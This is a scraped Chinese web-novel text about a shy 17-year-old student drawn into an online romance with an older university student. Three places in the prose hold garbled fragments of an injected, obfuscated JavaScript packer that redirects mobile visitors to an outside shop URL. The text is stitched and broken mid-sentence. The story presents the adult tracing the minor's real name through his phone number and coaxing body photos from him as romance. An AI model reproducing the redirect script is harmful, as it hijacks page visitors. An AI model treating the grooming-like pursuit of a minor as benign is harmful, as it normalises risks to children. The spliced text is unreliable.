《不要和阴暗批网恋》 1. 网恋 九月的澜城没有一丝初秋痕迹,高温伴随蝉鸣笼罩整座城市。 午间正是气温至高的时间段,二中高三学子从开着冷气的课室里走出来不禁苦叫连连。 但即便如此,他们也得为了填充饥肠辘辘的肚子紧赶着往食堂的方向走,只有些许的走读生毫不着急地收拾书包往相反的方向步行。 “月底一轮月考还要开家长会,我看学校是特地挑在国庆假期前搞我们心态呢。”卷发男生举着小风扇十分不满道。 体感三十多度的高温熏得人头脑发昏,许颂没有小风扇,单手撑着遮阳伞迟钝地朝凌航点头表示赞同。 凌航看着他厚刘海下的细汗不忍地将风扇调转方向往他脸上吹,把许颂那厚重的刘海吹起来,露出那双清澈的鹿眼。 他看着许颂那呆板的盖发,没忍住说:“你真的没想过换个发型吗?这头发看着太呆了,刘海还老是闷汗。” 许颂捏了一张纸巾将额头上的薄汗擦干,解释道:“这样方便。” 凌航不知道许颂的头发一直是他自己剪的,哪里长了就直接修,十分方便,于是终年一副参差不齐的厚重毛头,又因为近视平时戴着黑框眼镜,经常被人当做书呆子。 事实也的确如此,许颂是个有些愚笨的人,不懂得社交也没有什么喜好,每天对着课本努力学习成绩也只是中层,凌航是他唯一的朋友。 许颂不懂网络潮流也不会说话,高中两年在班里是当之无愧的透明人,而凌航却截然相反,他男生女生缘都很好,但凌航看来,除了性格温吞单纯的许颂,那些都是带有目的性的表面朋友。 “那你至少带上我送的那个小风扇啊,这么热的天,你不怕中暑呀……”凌航操着老妈子心在许颂面前来回摆动小风扇给他扇风。 许颂没好意思告诉凌航送他的小风扇被初中的妹妹看见后要走了,只是擦着汗听凌航唠叨,睁着眼睛看人的模样有点像豚鼠。 凌航说着朝许颂的脑袋rua了一把,忽然凑到他耳边神秘兮兮地问:“我上次跟你说的事情你觉得怎么样?” 他看许颂有些犹豫的模样继续说:“我都打听清楚了,简澄阳的朋友身高189,你看过图片的呀,是不是很帅!” 简澄阳是凌航暑假的时候在外国旅游无意邂逅的男人,首都人,目前正在读大二。 两人加上好友后很快陷入暧昧拉扯,半个月前才确定关系搞网恋。 凌航有好处不忘带上朋友,记得许颂也喜欢男生,发现简澄阳有两个单身的好兄弟时旁敲侧击,打听到其中一个的消息后,火速帮许颂拉了红线。 许颂想到那张英俊淡漠的脸庞手心有些冒汗,慢吞吞点头继续赞同凌航的话。 “简澄阳说他其实也想谈恋爱,但现实里找不到合适的对象,在网上随便网恋又不太放心,我一想,你就不错呀!”凌航有些兴冲冲道。 许颂闻言耳朵有些红,想到自己呆板的模样,连忙摆手否认:“我、我不行的。” “不试试怎么知道?”凌航挑眉道。 似乎看出了许颂的不自信,凌航抬手捋起许颂的刘海,将他整个五官漏出来,盯着许颂不自在的脸仔细观看。 许颂的脸比较小,面部线条流畅,一双鹿眼大而明亮,只是平常被老土的刘海和眼镜遮掩了一半的神采。 他的鼻梁唇形都很好看,仅仅是看下半张脸大多数人都会觉得许颂长得清秀斯文,只是性格过于呆板沉默,自然而然的就不再受大家的关注了,只有聊八卦时才灵光一现,提一句那个谁其实长得也挺不错的…… 这么仔细一看,凌航才发觉许颂眼下还有一颗泪痣,距离细长的下睫毛十分近,平时隔着镜框,他都没有发觉。 他哇了一声,捏着许颂的脸颊毫不夸张地赞美:“要是你把这个发型换了,明天保不准一排人跑过来送你情书。” 但凌航知道许颂不会换发型,所以只能颇感遗憾地摇头,压着声音小声跟许颂分析其中的好处:“先加个好友聊聊嘛,实在不行留个帅哥微信扩列养眼呀,反正又不会见面,要是真的网恋成功了,那就更好了,是不是?” 许颂经常听凌航分享甜甜的网恋日常,心里说不向往是不可能的,更何况简澄阳那位朋友的确是他喜欢的类型…… 但许颂想到自己在现实中不善言辞,在网络上聊天更是不擅长,对方肯定不会喜欢他,便有些退缩地摇头想要说算了。 可凌航已经捕捉到许颂那丝微弱的松动,当即朝他打了个响指干脆道:“机不可失!那就先加个好友嘛!可不能浪费了我这么多天辛苦打听。” 说完,凌航不等许颂回复,抓着小风扇在十字路口跟他挥手道别,回到家火速给许颂发去消息,把简澄阳的朋友秦弛的微信号码过去。 只是许颂回家一直忙着帮忙做家务,直到饭后才有时间翻开手机。 他没能及时回消息,过了半个小时凌航又好奇地问他加对方微信了吗? 许颂先回了凌航的消息而后才手心捏着汗复制那串微信号去搜索好友。 对方的账号头像跟许颂想象中冷淡酷炫的风格完全不同,头像图片里是一只睡在木质地板上岁月静好的年幼暹罗猫。 许颂回忆着曾经在凌航手机看过的照片,无法将这个头像与对方的帅脸联系起来,他舔了舔唇,想到以前女生们特别喜欢提的词,叫什么……反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14482223|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差萌? 他在界面犹豫着,最后才下定决心发送好友申请,对方没有立刻通过,或许是没看手机。 这还是许颂第一次主动添加陌生好友微信,他安抚着自己剧烈的心跳,静静等了一会儿,确定对方真的没有看手机后,遗憾地合上手机屏幕,钻进被窝里午休。 …… 秦弛看见好友申请时已经是下午一点多,彼时,他正在准备去专业课教室上课,简澄阳就走在身旁。 这人眼尖,瞥见秦弛手机里的好友申请消息笑嘻嘻催促他:“应该是航宝的朋友,你快通过好友聊聊。” 秦弛神色淡漠扫了眼申请界面,对朋友出卖自己微信号的行为有些嫌弃。 “你这是什么表情?我可是顺水推舟帮你找了一个电子宠物,让你也感受感受网恋的乐趣!而且航宝说他的朋友脾气好,性格呆萌,跟你正好互补,就是不知道相貌怎么样。”简澄阳说着抽过秦弛的手机直接同意了对方的好友申请,然后在秦弛的逼视下发了一句打招呼的话,只可惜对面没有回。 简澄阳看了眼时间,朝秦弛讪笑了下,道:“这个点估计都上学去了。” 秦弛面无表情夺回手机,合上手机屏幕大步往电梯走,落后一步的简澄阳正好没赶上,只能气急败坏地在微信上哀嚎。 在专业课室落座后,秦弛兴趣缺缺翻开手机翻看这位新好友的微信主页。 对方的微信名叫颂颂,微信号是由字母xs和一串手机号码组成,秦弛轻而易举推断这个颂颂原名两个字,且名字里带一个颂字。 秦弛手指微微滑动,在一个蓝色软件中输入那串电话号码,顶着相同头像和大名的账号跃进眼帘。 对方zfb账号比微信账号要更为老实,账号名称就是自己的全名。 许颂。 秦弛眼神淡淡扫过这两个字,退回到微信界面,继续翻开对方的微信。 许颂的个性签名是朴实无华的心灵鸡汤,朋友圈没有设置可见范围,里面发布的内容却很少,几乎一滑就能看到底。 秦弛的手指滑过一张又一张风景照片,直到滑进一个视频才堪堪停顿,眼底生出了一丝兴趣。 视频里少年手里捧着半块蛋糕,鼻梁擦着一片淡粉色奶油,青涩而茫然地望向镜头。暖光灯打在他边际形成一道朦胧的光晕,也将黑框眼镜下的双眼照得明亮纯净。 因为不习惯镜头,对方的姿态有些畏缩,反应也称得上呆,莫名的像…… 暹罗鼠。 秦弛紧紧盯着画面,在耳边嘈杂的交谈声里准确地辨析出少年清朗低弱的声音: “……你在拍照吗?” …… 2. 见面 下午上学匆匆许颂一时间忘了查看微信,再看手机时已经过去了几个小时。看见秦弛通过好友申请时发来的你好,他不禁手忙脚乱截图去跟凌航取经。 凌航教他聊天的时候不要太干巴,发一些暧昧的称呼和表情包调剂气氛,于是许颂在原地磨蹭了半晌才在聊天框打出一串字: 哥哥你好,我是凌航的朋友,你叫我颂颂就好啦~ 许颂有些羞耻地盯着输入法,最后还是删改了几个字发出去。 颂颂:你好呀,我叫许颂,是凌航的朋友。 对方这时候估计有空,只回复了姓名备注。 好冷漠哦。 许颂闷头看着聊天框里秦弛二字默默输进备注里,而后就找不到话题了,只能打开秦弛的主页来看。 对方朋友圈主页很简洁,因为设置了可见范围,许颂只能看到一条最近发的内容,是转发高校大赛公众号推文。 他点进去在获胜队伍里看到了秦弛的名字和照片,很帅,很耀眼,对许颂来说也很有距离感。 他咬着嘴唇在屏幕前纠结了很久才没有打退堂鼓,主动找话题问:你现在在忙吗? 秦弛:没有。 对方不咸不淡回复完,许颂又不知道该发什么话题了,只能干巴巴地回:好哦。 本以为聊天到此就要终止了,没想对面主动发了消息过来。 秦弛:现在在读高三? 许颂看到希望地眨了眨眼,敲字:对呀。 对方回了个哦,而后又道:还是个小孩。 这是什么意思?嫌他小吗?许颂有些板起脸,抱着手机赶紧打字解释:我还有一个月就成年了 秦弛:嗯。 秦弛:高三了就好好专注学习。 许颂没明白对方怎么忽然从年龄扯到了学习上,但对方的关心让他心里感到暖洋洋,回复时很乖说:好哦,谢谢。 秦弛没再回消息了,许颂也一时间找不到聊天的话题,只能遗憾地退出微信,打算去网上学习聊天的技巧。 他在百度搜索了半天,终于找到一个名为“交友的一百个技巧”的帖子,点进去逐字阅读: 交友技巧一,在认识新的朋友后,你首先要学会的是向你的朋友问好,这样有助于拉进你们的感情…… 交友技巧二,与朋友问好之余,你还要学会每天关心朋友的动态和心情…… 技巧三…… 许颂看得津津有味,许颂恍然大悟,许颂翻出笔记本一一记下。 第二天早上起来,他学着网上的方法,打开秦弛的微信,给对方发了一句早上好呀! 中午许颂回来发现秦弛没有回复,疑惑地又发了一个中午好。 想到聊天技巧说要学会关心朋友的心情,于是又补了一句:你今天上午过得开心吗? “……” 秦弛认为昨晚已经暗示得很明显,对方显然没有放弃的意思。 他意味不明地垂着眼,手指在许颂微信头像边摩挲,依旧没有回复对方的消息。 晚上许颂放学回来看着空荡荡的聊天框,有些纳闷想对方今天太忙了吗? 他思考了下,照着学习的技巧又发了一条问好。 对面还是没有回复,许颂只好放下手机刷题。 翌日起床,他照例给秦弛发了一条早上好呀。 本以为等不到回信,没想到对方六点多已经起床了也回复了一句早上好。 秦弛没有解释昨天不回消息的原因,许颂也没发觉出问题,从蒸笼里取出刚煮热的速冻包子,一边吸气一边吃,而后低头慢吞吞打字:我在吃早餐,你吃了吗? 秦弛:还没有。 许颂想起昨晚的聊天技巧第十条,要学会适时关心朋友的身体,于是打字:那你快去吃早餐吧,我要去上学啦。 秦弛:嗯,注意安全。 嘿,新朋友又在关心自己,许颂有些开心回:好哦,谢谢。 后面几天,许颂都照着网上的技巧给跟秦弛发消息,他发送的内容枯燥乏味,但秦弛都有回复。 许颂的悟性不高,任何进一步的话题都没有,而秦弛似乎也没有主动引导话题的意思。 直到中秋短假,凌航约许颂出门喝奶茶,瞥见两人流水账般的聊天记录,实在看不下去手把手教了许颂半天。 于是许颂再发消息时,学会了喊哥哥和发表情包。 这天中午,秦弛从疗养院走出来,白色上衣上占满了茶水污渍,湿漉漉贴着腰腹胸膛。 疗养院院长兢兢战战跟着他身后道歉,他实在没想到最近病情稳定的秦夫人会突然发病砸人,还是挑在秦家少爷探望的时候。 秦弛接过陪同的助理递来的干净衣服,上车前面色淡漠扫了向院长与陪同助理:“好好看着她,这件事不用跟秦总汇报。” 疗养院院长自然点头哈腰答应,目送这尊大佛离开。 秦弛将弄脏的衣服换下,随手扔进购物袋里,眉眼下压带着微不可闻的阴郁,这时兜里的手机忽然震了震。 颂颂:哥哥,中午好呀! 颂颂:你现在在做什么呀? 颂颂:猫猫好奇.jpg 秦弛翻开手机看见消息后,绷紧眉梢微微放松,他靠背垫,打字的动作有些漫散。 他答非所问:怎么突然喊哥哥了? 许颂被突然反问得有些脸热。 这都是凌航教他的技巧,说喊对方哥哥的话会比较暧昧比较让人有保护欲,许颂虽然老实但也不可能把凌航的原话告诉秦弛,抱着手机慢慢敲字。 颂颂:不可以吗? 颂颂:可是你本来就比我大呀。 话毕,对面挣扎着又补了一个叉腰的表情包。 秦弛意味不明低笑了一声回:叫什么都可以,随你。 许颂觉得这句话有点奇怪,他细细品了下,没品出个所以然只好回:好哦,哥哥。 他不想聊天就这么终止了,于是接着打字问:中午了呀,哥哥回家吗? 秦弛说不回,跟朋友聚餐,于是许颂又接着问: 哥哥聚餐吃什么呀? 猫猫好奇.jpg 对面安静了几秒,许颂以为对方去忙了,有些沮丧地准备合上手机,恰在此时,秦弛的消息跳了出来。 是一张图片。 那应该是对方随手拍摄的,画面左下角,男人修长的手指不慎入境,宛如一道虚影。 秦弛另一条消息也紧随其后。 秦弛:没点餐,你帮我选。 许颂看了看图片下方的手指又看了看秦弛的消息,不知怎么心跳有些快。 但他看着菜单,发现里面的菜式他都没见过,实在不敢帮人乱挑,只能小心翼翼回:我不会选的。 秦弛:选你喜欢吃的,我尝尝。 许颂觉得这句话有点撩人,他不好意思的同时也有些窘迫:抱歉,我没吃过这些东西。 包间的菜式早早就预定好了,秦弛并没有真的要对方选的意思,只是想要借机玩弄许颂而已。 他轻笑了一声,漫不经心打字:怎么又不叫哥哥了? 聊天框上断断续续的正在输入中泄露了许颂的手足无措,秦弛耐心十足等着,最后看见对方的回复。 颂颂:抱歉,我忘了。 颂颂:哥哥。 颂颂:揣手手.jpg 不仅发了哥哥,许颂还把漏掉的表情包也想了起来,回完这段消息,他手心因为紧张抓满了汗,心脏砰砰狂跳等待回复。 “站在客厅做什么?还不进厨房帮忙?等会你爸和清宝回家还要吃午饭。”厨房里传来李洁厚重的声音。 许颂的心情因此平静了一些,只能敲字跟秦弛匆匆告别。 “先帮我把这边的菜洗了,你妹妹一直嚷着要吃椒盐虾,去虾线麻烦了我一中午,你跑出门玩也不记得早点回来帮忙。”见许颂进门李洁有些絮絮叨叨埋怨。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14482224|154450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 很多话许颂已经听习惯了,所以没什么反应地低着头洗菜,往常要是许清宝听见类似的话早就顶嘴大闹了,李洁还得转换态度去哄她。 许颂不会因为李洁假期送许清宝去兴趣班学美术感到不公平,也不会对父母不了解他的喜好感到失落。 他好像天生缺乏一根较劲的神经,所以平时显得格外愚钝沉闷。 帮着李洁打完下手,许高富带着许清宝回来时,午饭正好出锅。 许清宝喜欢许颂做的椒盐虾,李洁只是处理了虾仁,剩下调料、煎炒的活都是许颂一个人在厨房里动手。 客厅里一家三口一边盛汤一边聊天,许颂低头在油烟中夹着裹着蛋液面糊的虾仁一个一个放进油锅里,煎至金黄后装盘撒上椒盐。 在准备将虾端出厨房时他步伐停顿了下,小心翼翼将兜里的手机翻出来,对着摆盘拍了张照片,发给秦弛,慢吞吞打字。 颂颂:哥哥我也吃饭啦。 颂颂:猫猫开心.jpg “哥!虾做好了吗?”餐厅里喝完汤的许清宝有些急不可耐唤他。 许颂来不及看消息,含含糊糊应声关掉油烟机后端虾放上餐桌,许清宝抓着勺子从盘子舀了一半,将精美的摆盘打破,浑然不觉低头吃饭。 “急什么,又没人跟你抢。” 李洁笑她,将那碗搁温的汤挪到许颂面前,想起什么朝他说:“一会儿你回房间去你哥书桌里帮他找一找学生证在不在,回首都马马虎虎,他连东西都没带齐。” 许颂一家五口人,住在老城区普通的三室两厅刚需房里,这房子是李洁和许高富结婚时买的。 李洁早年在工业园玩具厂当厂工跟主管许高富相恋,结婚后为了方便照顾小孩,她便在家附近的商场当收银。 家里养着三个小孩花销大,两人这些年一直没钱换房子。 许清宝出生前,三室两厅的空间是刚刚好的,许清宝出生后,家里便有些拥挤了。 李洁把许颂的房间腾给体弱多病的许清宝住,许颂便跟哥哥许祐共住一间房。 许祐一开始意见很大,但又不能真的狠心让自己弟弟去住家里没窗户的杂物间,最后只能要求严格划分地盘,衣柜分一左一右,书桌一大一小分开,一米八宽的大床变成了一米二宽的上下床,两兄弟的使用区域行径分明,房间便显得格外拥挤,但近十年下来两兄弟都习惯了。 许祐这两年在首都上大学,只有年中年尾才回来,于是其他时候这个房间便是许颂的个人空间,而房间里许祐的东西除非允许许颂一点也不敢动。 许颂闷头喝汤嗯了声,感应到兜里的手机震了震,似乎是有人给他发消息。 他有些迫不及待地想看,但其他人都在吃饭聊天,没人关注电子设备,他只能忍着,直到吃饱去客厅倒水喝时才敢翻出手机来看。 秦弛:喜欢吃虾? 许颂想了想,他很会做椒盐虾,因为许清宝很喜欢,她一个人就能把整盘虾吃完。 那他喜欢吃吗?许颂回味着椒盐虾的味道,觉得他应该也是喜欢的,但他吃得很少,顶多吃两三块,多了许清宝会护食。 许颂闷头慢慢敲字:喜欢,很好吃。 发完他又有些不好意思解释:这是我做的,我妹妹也很喜欢,她觉得很好吃。 秦弛:看起来的确很美味。 秦弛:我会有机会尝尝吗? 许颂没看懂暧昧的句子,闻言顿了顿,心想这是……指以后要见面的意思吗?但他只是想跟凌航一样搞网恋,并不想跟网友见面。 他有些较真的卡在对话框纠结对策,就这个间隙,李洁让他过去帮忙收拾餐桌,许颂只好含糊回: 如果有机会就给哥哥做呀~ 我现在要去忙啦,有时间再来找哥哥聊天。 猫猫飞奔.jpg 机会自然是没有这个机会,所以自己这样算是在画饼吧?许颂收拾碗筷时才后知后觉想。 3. 对象 秦弛的朋友不多,简澄阳和程匀深都是跟秦弛在一个圈子里并且从小玩到大的朋友。 只可惜程匀深跟两人不在同一间大学,只有假期才能跟两人聚一聚,但今天他看着两位低头看手机的好友,倍感格格不入。 程匀深可以理解简澄阳一脸荡漾对着手机打字。 因为对方暑假跟他一块在国外爬雪山的时候救了一小孩,而后十分不做人的跟那小孩搞起了幼稚无比的网恋,所以每天连吃顿饭都要抓着手机报备腻歪,但秦弛不一样,这人向来不会在休闲时间跟不必要的人寒暄联系,早上又刚从疗养院回来,估计家里那个爹都打不通他的电话。 然而秦弛今天聚会一半的注意力都落在手机上,程匀深差点怀疑两人在背着他串通干坏事,于是问秦弛:“你在跟谁聊呢? ” 简澄阳以为对方在跟他说话从手机屏幕里抬起头毫无负担道:“跟对象聊啊。” 程匀深懒得理会他,对着秦弛继续说:“你今天有公事吗?不应该啊。” 秦弛的目光落在许颂发来的“如果有机会”五个字上,毫不在意地轻笑了声,合上手机屏幕,语气淡淡解释:“闲聊。” 两人从他口中听到这两个字显然有些意外,问:“跟谁?你爸介绍的那个?” 秦弛淡淡扫了他一眼,报了许颂的名字。 程匀深听着耳生,正打算回忆是首都哪家少爷的名字,简澄阳闻言反应过来,嘿了一声:“你跟他聊得怎么样?是不是很有趣?” 秦弛没答话,低头扫了眼时间,起身接过服务员递来的湿毛巾擦手指准备离开。 “欸你怎么不说话啊?”简澄阳继续嘻嘻哈哈凑过去问他。 “你们到底在说什么?” 程匀深在一旁听得云里雾里,问:“许颂是谁?” “许颂是我对象的朋友,听说也想搞网恋,我这不是顺水推舟想让秦弛也体验体验我的乐趣嘛,你也知道他家里……”简澄阳话没说完被程匀深气急败坏用餐巾抽了一把。 “你不着调就算了还拉人下水?” “嘿这也得看看秦弛愿不愿啊——”简澄阳朝秦弛抬下巴。 直到秦弛离开前两人才听见对方淡淡答复:“还不错。” 程匀深闻言第一反应是头痛:“要真闹出什么你就完了。” “网恋而已,能闹出什么,而且他还没恋呢。”简澄阳满不在乎道。 秦弛要是恋了那才完蛋吧。 程匀深没好气想,虽然他知道秦弛不可能跟简澄阳一样不靠谱,但心里还是隐隐觉得不安。 …… 饭后许颂照着李洁的话回房间将许祐的学生证找出来交给她,而后翻开书和试卷开始复习。 他学习的方式很死板,不论文理科都是通过死记硬背拿基础分,平时做题也十分耗费时间。 许颂把要记的知识点背完,才开始写复习卷,然而几张试卷还没写完,外面的已经落日余晖。 李洁这时也敲门喊他吃晚饭,许颂应了声,慢吞吞收起试卷,打开手机,毫无意外的没有一条消息。 他戳开秦弛的微信,想了想学着上午秦弛的样子手指捏在那叠试卷上,拍了一张图片发过去,低头慢吞吞打字。 颂颂:试卷好多哦,做了好久。 颂颂:猫猫瘫软.jpg 许颂的手机型号很旧了,系统更新再更新早就将相机像素压得模糊不清,拍出来一张图片像是清朝时期流传下来的一般。 照片里试卷纸张已经无法拍得清晰,只能看到黏糊的一大叠被白皙的手指捏着。 秦弛歪了下头,将照片放大,视线落在屏幕中央那几根略带肉感的手指上,模糊像素里依稀能看到对方修剪整齐的、圆润的指甲以及握笔太久泛红的手指关节。 这张随意拍摄的照片能够提供的信息很少,但秦弛依旧能等推断出一星半点。 比如照片右下角手机型号水印,又比如试卷下方有些泛黄的桌面,应该是市面上便宜的夹层木…… 秦弛微微眯起眼,似乎不太满意的模样。 许颂拍完照片后便一边带着手机一边出房间,秦弛回消息时他正在喝汤。 饭桌上许清宝抱着手机在刷视频,李洁许高富夫妻两人聊着天没有要管束的意思,于是许颂也打开手机查看秦弛的消息。 秦弛:手指红了,写字不疼吗? 许颂没想到秦弛的关注点不在那叠试卷上,闻言注意力下意识落在握着筷子的手指骨上,后知后觉出那股早已习惯的酸软刺痛。 许颂心想秦弛真的好会关心别人,跟之前看过的照片里冷冰冰的模样完全不一样,现实中一定是个很细心温柔的人,他心里暖洋洋地回:还好啦,哥哥。 怕秦弛不信许颂把手指搭在桌下的腿上,悄咪咪拍了一张照片发给秦弛,有些欢快地打字:现在已经不红了。 许颂拍照技术不太好,将桌子腿和自己的大腿整个都拍了进去,桌下的光线比较差,照片里有些灰蒙蒙。 两条大腿被浅色色家居裤包裹着,紧贴时带着细微肉感,微微弯曲的手指搭在大腿上像是一个细密的钩子,令秦弛挪不开双眼。 啪—— 一双筷子忽然拍在了桌面上,许颂被吓一跳,没来得及看秦弛的回复便熄灭了手机屏幕。 他抬头便看见李洁严肃的脸色。 “一个两个都盯着手机还吃不吃饭了?嗯?” 她冷眼扫过兄妹两人,最后盯着许颂的手机抬了下眼说:“你是哥哥也不带好头?” 许颂默默把手机收回裤兜里,许清宝见势不对也关掉了手机,低着头开始吃饭,只是李洁的声音还在继续:“上高三了还整天想着玩手机,你哥哥当初高三的时候不仅在一中年级里排前几,还把手机都戒了,你看看你呢,成绩连二中前三百都进不去,我看都是被手机给害的……” 吃完晚饭,许清宝帮着收拾碗筷,进入厨房后朝着洗碗的许颂抿起唇吐槽:“他们吃饭聊天,我们吃饭玩手机怎么了,互相又不碍着。” 许颂闷着头洗碗小声说:“吃饭玩手机的确不好。” 许清宝闻言来气,故意道:“难怪老妈做什么都喜欢抓着你不放,还不是因为你没脾气不叛逆,你就不能硬气一点吗?” 许清宝这么刺激许颂,他也没有反应。 哥哥许祐从小成绩好,做事牢靠有主见,一直很讨父母欢心,而许清宝因为早产从小体质弱,性格活泼又爱撒娇,家里人都让着、宠着她,而许颂既没有许祐的优点,性格也是最不受大人喜欢的沉默寡言。 父母的区别对待连许清宝都能看得出来,许颂却毫无感觉。 他的心放在跟秦弛聊天上,对许清宝的话更不感兴趣,只想快点洗干净碗筷去微信聊天。 他这样,许清宝觉得没趣,一边离开厨房一边嘀嘀咕咕说:“下次吃饭我还是要玩手机,哼。” 许颂低头收拾完厨房便回到房间翻开手机,秦弛一共发来了两条消息。 秦弛:腿好瘦哦。 秦弛:颂颂。 许颂忽然看见秦弛叫自己小名,即便是文字,心脏不受控制地一紧,像是忽然被人攥了一把传来一道道羞赧的感觉。 他咬着嘴唇缓了半天才回:我不瘦的。 秦弛回复的速度比许颂快多了:是吗?可能是拍照角度的问题吧 秦弛:颂颂再拍一张照片给我看看? 秦弛又喊了他的小名,许颂薄薄的面皮有些发热,慢吞吞地打字:为什么突然叫我颂颂啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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此时,a大体育中心的网球对抗赛也进入了尾声,观众席呼声上不断,秦弛拿下最后决定性的比分后单手转着球拍毫不留念地转身往休息席走。 两位好友占着家属区的位置打着游戏对战况毫无所觉。 秦弛刚运动完汗水从鬓角顺着脖颈纹理没入宽阔的肩膀下,他眉梢微压神态淡漠,准备物资的志愿者热着脸给他递水和毛巾。 直到秦弛踹了凳子腿一把,两人才抬头,一脸茫然说:“打完了?” 秦弛没答话,单手要回自己的手机。 简澄阳从兜里一边翻一边说:“刚刚不知道是谁给你发消息,一直在震……” 他说着想要窥屏,秦弛单手转着手机到另一只手中,一边擦汗解锁屏幕,一边听网球教练说话。 志愿者一直在秦弛旁边等待着,以防对方有所需要,她微微侧头偷看着这位占满a大论坛的男人,心里斟酌着是否有机会加上微信,她几次参加网球赛志愿者都是安排在对方身边,对方应该对她有些印象…… 正想着,她便看见男人冷淡的神色在打开手机屏幕后化成了若有若无的淡笑。 网球教练站在秦弛侧边,将秦弛的神态变化看得更加彻底,他有些意外地挑下眉继续跟秦弛复盘。然而说着说着,他又看见秦弛回头拾起网球拍用手机拍了张照,罕见的行为让他有些好奇了,开玩笑问:“跟对象聊天?” 秦弛朝着屏幕打字没说是也没说不是,但这个样子落到别人的眼里就是默认的意思,教练见状也不再继续抓着人复盘,“除了刚才那些没有大问题了,下周跟h大的比赛你多多调整就行。” 志愿者在一旁将两人的交流看得很清晰,心里原本的想法被另一个吃惊的内容代替。 秦弛已经有对象了? 4. 通话 许颂发完消息没收到秦弛的回复便先去写作业了,但他的注意力时不时落在旁边的手机上。 消息提示响起时,他第一时间停了笔,而后打开手机屏幕去看,果不其然是秦弛的消息。 对方给他发来了的一张照片。 因为设备好,秦弛拍出来的照片跟许颂拍的那些照片比起来清晰度高光线也很好。 略微杂乱背景里,一只手强而有力地握着网球拍,手臂上的青筋脉络若隐若现彰显着男人雄厚的力量感,单单看照片中露出的半只手臂似乎就能让人感觉到一股扑面而来的荷尔蒙。 许颂看清照片时,第一反应是觉得秦弛的手很大很有安全感,第二反应是觉得秦弛的手牵起来应该会很暖…… 发觉自己在想什么,许颂脖颈有些发热,他手指打滑着退出照片,将额头抵在书桌上缓了一阵,才好意思给秦弛发消息,只是打字时的动作有些卡顿。 颂颂:哥哥在打网球吗? 消息发出去后,对面回复得很快。 秦弛:嗯。 秦弛:刚才在比赛。 许颂平时很少出门,只在一些运动视频里看过别人打网球,知道秦弛在打网球比赛几乎毫不夸张地夸赞:好厉害哦。 秦弛:不厉害。 秦弛:可以教颂颂打。 许颂闻言下意识迟疑了半秒,但想到两人的距离,觉得秦弛应该是像他之前一样只是随口一说。 反正也不会见面,于是许颂乖乖地回:好哦。 许颂发完消息几乎不过五秒,秦弛的消息又紧紧发了过来,问他平时喜欢什么运动? 这个问题有些难倒许颂了。因为他除了上学、窝在家里写作业平时几乎都不怎么运动。 许清宝清闲时也会去找朋友打羽毛球,凌航有时候会去体育馆打篮球,而许颂对这些运动都不感兴趣。但真要给予秦弛一个答复,许颂只能回:喜欢散步。 因为他一天最大的运动量就是走路了。 聊天的间隙,秦弛已经在更衣室里换上了休闲装,看见许颂的回复,他的手指在手机边缘微微摩挲着,唇角的笑意更盛。 反应慢、不喜欢运动,的确跟豚鼠不相上下。 许颂不知道自己被看穿了,就这么放松地靠着座椅跟秦弛聊了半个多小时,想起自己搁置在一旁的作业,许颂有些意犹未尽跟秦弛告别:哥哥我现在真的要开始写作业了,晚上再聊哦。 秦弛:作业很多? 许颂闻言看向桌面,或许是因为下周月底考试,这个周末短假学校并没有安排太多作业,许颂先前已经不知不觉做了一大半。 他有些欢快回:不多,写完晚上就有很多时间跟哥哥聊天了。 很多时间? 秦弛视线落在这几个字上,心里有些满意地回了个行。 - 许颂写完试卷正好到晚饭时间,上周因为吃饭看手机被李洁训斥,许颂没再在餐厅里打开过手机,这次也不例外。 饭桌上,他低头慢吞吞地吃饭,对面许清宝的手机架在右边,源源不断播放着短视频音频,李洁跟许高富聊着亲戚办席送礼的事情无暇顾及。 但李洁声音一停,许颂吃饭的动作便会停顿,抬眼往许清宝的方向看,怕许清宝玩手机被挨骂。 这么几次来回,对面的许清宝察觉到后抬眼看向自己二哥,有些纳闷问:“怎么了?” 许颂尴尬地摇头说没事,端着碗将最后一口饭吃了,他刚放下筷子,坐在侧边的李洁注意过来,侧头看他:“吃饱了?” 许颂点头说饱了,但李洁看着二儿子单薄身板皱起眉,往他手边碗里添米夹菜,不满意地说:“不运动吃得又少,难怪这么瘦,坐下继续吃点。” 话毕她继续跟许高富计算亲戚的人情礼金。 许颂干坐了下,只能低低哦了声,捂着肚慢吞吞抓筷子重新低头扒饭,最后吃得肚子又撑又涨。 “吃不下就不吃了,又不是在逼你。” 饭后,李洁弯腰在储物柜里翻找消食片,没好气道。 许颂坐在沙发边抱着手机翻看这几天跟秦弛的聊天记录,没有吭声。 吃完药,肚子好多了,他才给秦弛发消息。 颂颂:哥哥晚上好哦。 秦弛学他的语气也回复:颂颂晚上好哦。 许颂觉得秦弛学他发消息的样子好有趣,没忍住笑了下。 他僵了一晚上的肩膀放松下来,侧靠在椅子上,脑袋垫着靠背低头给秦弛发消息,巧合的是秦弛的消息也刚发过来,两个聊天框一前一后莫名和谐。 颂颂:哥哥吃晚饭了吗 秦弛:颂颂作业写完了吗 不过许颂回复消息没有秦弛快,秦弛说吃过晚饭了,许颂才淡笑着回: 我也写完作业啦。 